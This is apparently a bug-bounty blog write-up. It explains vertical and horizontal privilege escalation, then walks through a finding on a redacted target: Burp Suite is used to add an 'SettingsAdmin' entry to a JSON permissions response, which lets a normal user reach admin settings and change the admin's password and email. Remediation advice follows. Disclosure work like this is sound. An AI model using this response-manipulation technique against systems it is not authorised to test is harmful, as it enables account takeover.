Vertical Privilege Escalation: The user can takeover an admin account via response manipulation

Broken Authentication and Session Management > Privilege Escalation

Privilege escalation attacks occur when a threat actor gains access to an employee’s account, bypasses the proper authorization channel, and successfully grants themselves access to data they are not supposed to have. When deploying these attacks threat actors are typically attempting to exfiltrate data, disrupt business functions, or create backdoors.

Types Of Privilege Escalation Attacks:

Not every attack will provide threat actors with full access to the targeted system. In these cases, a privilege escalation is required to achieve the desired outcome. There are two types of privilege escalation attacks including vertical and horizontal.

Vertical Privilege Escalation

Generally, when someone attempts to hack into a system, it’s because they want to perform some action on the system. This could be damaging the system or stealing information. Oftentimes, this requires a privilege level the attacker does not possess. This is where vertical privilege escalation comes in. Vertical privilege escalation is when an attacker uses a flaw in the system to gain access above what was intended for him or her. This is what most people think of when they hear privilege escalation.

Horizontal Privilege Escalation

Horizontal privilege escalation is when a user gains the access rights of another user who has the same access level as he or she does. That might sound a little weird. You might wonder why someone would want to gain the rights of someone at the same level as that person. Here’s an example. Let’s say X and Y both have accounts with the same financial institution. They have the same account types and account profiles. X may attempt to gain access to what Y has access to, meaning Y’s account. So, although they both have the same access levels, X can benefit from having access to Y’s account. X can then transfer or withdraw money out of Y’s account.

Let’s dive into real life finding where I found a Vertical Privilege Escalation on a confidential target where a normal user can fully takeover an admin’s account via response manipulation

I Created an account with the email admin@gmail.com and invited another user from that account with the email user@gmail.com.

Now, you have two accounts in an organization admin@gmail.com with admin rights and user@gmail.com with user rights

After playing with all the functionalities I went to BurpSuite where all my traffic was logged. There, I noticed an interesting POST request:

POST /redacted/api/user/PermGet HTTP/2
Host: redacted.com
Cookie:cookies here
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 2
Refreshtoken: token here
Origin: https://redacted.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Authorization: Bearer xyz
Referer: https://redacted.com/settings/company-settings/users
Te: trailers

{}

Sent the request to the repeater and noted down the response:

HTTP/2 200 OK
Date: Tues, 06 April 2022 09:28:10 GMT
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: Date,DateUTC,RefreshToken,AccessToken
Cf-Cache-Status: DYNAMIC
Strict-Transport-Security: max-age=15552000; includeSubDomains; preload
X-Content-Type-Options: nosniff
Server: cloudflare
Cf-Ray: 775c3ac5de882f28-SIN
Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

{"data":["Forms","Reports_view","Audits","Reports_export","Checklists","Locations_view","Tracker","History","Employees",],"isSuccesful":true,"errorMessages":null}

The response contains the permissions of the user. Here, response manipulation hit my mind.

I fired up Burp Proxy and intercepted the same request from the User account and “Request to response”. After getting the same response, as shown above I manipulated the response and entered another json data entry: SettingsAdmin. The manipulated response looked like this:

HTTP/2 200 OK
Date: Wed, 07 Dec 2022 09:28:10 GMT
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: Date,DateUTC,RefreshToken,AccessToken
Cf-Cache-Status: DYNAMIC
Strict-Transport-Security: max-age=15552000; includeSubDomains; preload
X-Content-Type-Options: nosniff
Server: cloudflare
Cf-Ray: 775c3ac5de882f28-SIN
Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

{"data":["Forms","Reports_view","Audits","Reports_export","Checklists","Locations_view","Tracker","History","Employees","SettingsAdmin",],"isSuccesful":true,"errorMessages":null}

Forwarded the response from the user account and Admin account’s settings popped up. Here, I can easily change admin’s password and email.

This attack was successful due to lack of server-side validation and improper access controls applied

Remediation

• Never rely on obfuscation alone for access control.
• Unless a resource is intended to be publicly accessible, deny access by default.
• Wherever possible, use a single application-wide mechanism for enforcing access controls.
• At the code level, make it mandatory for developers to declare the access that is allowed for each resource, and deny access by default.
• Thoroughly audit and test access controls to ensure they are working as designed.

Thanks for reading. If you enjoyed the article, do clap and follow on below social handles:

Twitter: https://twitter.com/hasanakajan

LinkedIn: https://www.linkedin.com/in/syed-jan-muhammad-zaidi-23a59015b/

Instagram: https://instagram.com/thehasanzaidi_99